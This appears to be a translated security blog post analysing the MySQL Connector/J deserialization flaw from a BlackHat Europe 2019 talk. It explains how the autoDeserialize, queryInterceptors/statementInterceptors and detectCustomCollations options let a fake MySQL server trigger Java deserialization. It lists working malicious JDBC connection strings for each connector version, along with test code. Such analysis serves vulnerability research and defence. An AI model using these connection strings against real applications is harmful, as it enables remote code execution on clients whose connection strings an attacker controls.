First security guest: https://www.anquanke.com/post/id/203086
In the past few days, I studied the topic "New Exploit Technique In Java Deserialization Attack" of BlackHat Europe 2019. While admiring the masters, I did a simple vulnerability analysis.
The vulnerability needs to be able to control the client's JDBC connection string, which can be triggered during the connection phase without continuing to execute SQL statements.
Test code
You need to select the JDBC connection string according to the version, and finally there is a summary based on the connector connection string of each version.
public class test1 {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc";//8.x使用
//String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc";//5.x使用
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}
}
MySQL server use: https://github.com/fnmsd/MySQL_Fake_Server
A fake server that can conveniently assist the MySQL client to read files and provide the serialized data required by the MySQL JDBC deserialization vulnerability. Please read the tool description briefly before reading this article.
Here is a copy of YSOSerial I added JRE8u20 for testing (integrated with the code of the n1nty master, film it):
Link: https://pan.baidu.com/s/12o5UFaln0qDUo0hPcIR1Eg Extraction code: qdfc
ServerStatusDiffInterceptor trigger mode
Using this method in the original topic, the environment should be 8.x connector
The analysis environment here uses mysql-java-connector 8.0.14+jdk 1.8.20
Refer to the MySQL Connector/J 8.0 connection string parameter property manual
**queryInterceptors:** A comma-separated list of Classes (Classes that implement the com.mysql.cj.interceptors.QueryInterceptor interface), executed "between" queries to affect the results. (The effect is to insert an operation before and after the execution of the Query)
**autoDeserialize:** Automatically detect and deserialize the objects stored in the BLOB field.
So as mentioned above, if you want to trigger queryInterceptors, you need to trigger SQL Query, and in the getConnection process SET NAMES utf
, set autocommit=1
a type of request will be triggered, so the queryInterceptors we configured will be triggered.
ServerStatusDiffInterceptor
The preProcess
method ( the method that needs to be executed before executing SQL Query), called populateMapWithSessionStatusValues
:
Execute the SHOW SESSION STAUS
statement and get the result, continue to follow the resultSetToMap
method:
ResultSetImpl
The getObject method of MySQL, when the MySQL field type is BLOB, will deserialize the data, so as long as the first or second field is BLOB and our serialized data is stored, it can be triggered.
One extra sentence: In addition to the BLOB column type in the protocol message, the FLAGS must be greater than 128 and the source table is not empty. Otherwise, it will be regarded as Text. This is stuck for a long time when developing tools.
During the test, it was found that 5.x and 6.x could not be used normally. Refer to the connection string description of 5.1 , 6.0 and 8.0 of mysql java connector , and summarize after analyzing the code of each version:
-
Since 6.0, the main package name has changed from ·
com.mysql
tocom.mysql.cj
, soServerStatusDiffInterceptor
the location has also changed. -
The interceptors attribute used in 5.1.11-6.0.6 is statementInterceptors, and the queryInterceptors used above 8.0 is queryInterceptors. (This is not very sure, because the 6.0 manual says that it has become queryInterceptors since 5.1.11, but it is still statementInterceptors after the actual test)
-
Below 5.1.11, it cannot be triggered directly by connection:
When executing getConnection, it will execute to the following code block in com.mysql.jdbc.ConnectionImpl:
It can be found that the two lines of code marked above have exchanged positions (emm, not exactly the same, understand the spirit).
The SQL query during connection described in the previous analysis is triggered in the createNewIO method, but because 5.1.10 and before, Interceptors were initialized after createNewIO, resulting in no Interceptors before the query was triggered, so it could not be triggered during getConnection.
PS: If you continue to use the acquired connection for SQL execution, you can still trigger the deserialization.
DetectCustomCollations trigger method
This point seems to have been found out by Master Chybeta at the earliest.
One digression: Look at the 5.x manual mentioned earlier. detectCustomCollations
This option starts from 5.1.29. After code comparison, it can be considered that detectCustomCollations
this option has been true before 5.1.29.
Use mysql-connector-java 5.1.29+java 1.8.20 in the test environment:
The trigger point is in com.mysql.jdbc.ConnectionImpl
the buildCollationMapping
method:
(The call stack will not be placed, just hit a breakpoint)
You can see two conditions:
- The server version is greater than or equal to 4.1.0, and the
detectCustomCollations
option is true
PS: This judgment condition of 5.1.28 only has the server version greater than 4.1.0
- After obtaining the
SHOW COLLATION
results, the server version is greater than or equal to 5.0.0 before entering theresultSetToMap
method mentioned in the previous section to trigger deserialization
Here, getObject is consistent with the previous article and will not be repeated here. Only field 2 or 3 is required to load our serialized data for BLOB.
Since version 5.1.41, SHOW COLLATION
the result obtained by getObject is no longer used , this method is invalid.
5.1.18 The following does not use getObject to obtain, and this method cannot be used:
Summarize the available connection strings
The user name is based on the MySQL Fake Server tool, please modify it yourself during specific use.
ServerStatusDiffInterceptor triggers:
8.x:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
6.x (different attribute names):jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
5.1.11 and above 5.x version (the package name does not have cj):jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
5.1.10 and below 5.1.X version: Same as above, but need to execute query after connection.
5.0.x: There is no ServerStatusDiffInterceptor
such thing yet┓( ´∀` )┏
detectCustomCollations trigger:
5.1.41 and above: Not available
5.1.29-5.1.40:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
5.1.28-5.1.19:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
5.1.x versions below 5.1.18: Not available
Version 5.0.x is not available
to sum up
The above summarizes the analysis of the two methods of triggering vulnerabilities through MySQL JDBC Connector and the related version situation, I hope it can be helpful to everyone.
Since it is still the scope of the Java deserialization vulnerability, there is still a need for a Gadget available in the operating environment.
Several masters who found loopholes in the film again~
references
Vulnerability related:
https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf
https://www.cnblogs.com/Welk1n/p/12056097.html
https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload
MySQL java Connector manual:
https://dev.mysql.com/doc/connector-j/5.1/en/connector-j-reference-configuration-properties.html
https://docs.oracle.com/cd/E17952_01/connector-j-6.0-en/connector-j-6.0-en.pdf
https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-reference-configuration-properties.html
The last is the recruitment notice
The 360 cloud security team is currently recruiting a large number of people, welcome to send your resumes, everyone come and play happily~
https://www.anquanke.com/post/id/200462